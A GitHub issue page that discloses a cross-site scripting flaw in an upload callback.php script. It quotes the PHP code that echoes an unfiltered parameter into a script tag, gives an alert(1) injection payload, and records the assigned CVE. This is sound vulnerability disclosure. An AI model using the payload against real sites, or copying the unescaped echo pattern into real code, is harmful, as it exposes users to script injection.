Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS injection vulnerability exists in /upload/callback.php #1

Open
zhuxianjin opened this issue Mar 6, 2019 · 1 comment
Open

XSS injection vulnerability exists in /upload/callback.php #1

zhuxianjin opened this issue Mar 6, 2019 · 1 comment

Comments

@zhuxianjin
Copy link

callback.php

<?php
    $params=$_GET['params'];
    $params=preg_replace('~(\\\")~','"',$params);
    echo('<script>window.parent.callback_upload(\''.$params.'\');</script>');
?>

$params not filtered

so we can use ?params=</script><script>alert(1)</script>

@fgeek
Copy link

fgeek commented Mar 10, 2019

CVE-2019-9595 has been assigned for this vulnerability.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants